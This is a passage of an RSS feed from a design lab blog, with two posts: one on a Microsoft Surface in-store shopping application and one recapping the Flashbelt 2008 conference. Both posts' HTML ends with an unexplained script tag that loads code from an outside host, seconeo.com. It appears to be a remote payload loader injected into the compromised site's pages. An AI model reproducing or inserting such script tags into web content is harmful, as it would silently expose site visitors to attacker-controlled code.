<p><em>Below is a photo of the in-store application we built using the Microsoft Surface table. You can see a shopping catalog, watch theatrical trailers, and bring up your personal account information.</em><br />
<a href="http://flickr.com/photos/47388015@N00/3206766211/"><img src="http://labs.hapticdata.com/wp-content/uploads/2009/01/phizzpop_surfacephoto.jpg" alt="Our MS Surface in-store application" title="phizzpop_surfacephoto" width="500" height="333" class="border alignnone size-full wp-image-97" /></a><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://labs.hapticdata.com/2009/01/minneapolis-phizzpop-design-challenge/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Flashbelt</title>
		<link>http://labs.hapticdata.com/2008/06/flashbelt/</link>
		<comments>http://labs.hapticdata.com/2008/06/flashbelt/#comments</comments>
		<pubDate>Thu, 12 Jun 2008 20:50:06 +0000</pubDate>
		<dc:creator>Kyle</dc:creator>
				<category><![CDATA[development]]></category>
		<category><![CDATA[events]]></category>
		<category><![CDATA[air]]></category>
		<category><![CDATA[flash]]></category>
		<category><![CDATA[flex]]></category>
		<category><![CDATA[interactive]]></category>

		<guid isPermaLink="false">http://labs.haptic-data.com/?p=6</guid>
		<description><![CDATA[Flashbelt ended yesterday, it was a great experience. This was the first year that I have attended and I was very impressed by the program. These were some of the highlights of this years program&#8230;
&#8220;Emergence&#8221; by Jer Thorp, was a very interesting discussing on generative environments and making use of complex systems as a basis. [...]]]></description>
			<content:encoded><![CDATA[<p>Flashbelt ended yesterday, it was a great experience. This was the first year that I have attended and I was very impressed by the program. These were some of the highlights of this years program&#8230;<br />
&#8220;Emergence&#8221; by <a title="Jer Thorp" href="http://blog.blprnt.com/" target="_blank">Jer Thorp</a>, was a very interesting discussing on generative environments and making use of complex systems as a basis. <a href="http://void.andre-michelle.com/" target="_blank">Andre Michelle&#8217;s</a> showed some incredible work generating sounds directly in flash with a byte array and showed a preview of his new tool currently titled <a href="http://www.hobnox.com/index.1056.en.html" target="_blank">AudioTools</a> (he said he&#8217;ll change that). <a href="http://www.flight404.com" target="_blank">Robert Hodgin</a> was the last lecture, his presentation was an hour-long display of some of the best generative work I&#8217;ve ever seen, the lecture was a very helpful look inside how his applications are working.<br />
The afterparties were also great, the past 3 days have provided me with inspiration for the next several months.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://labs.hapticdata.com/2008/06/flashbelt/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
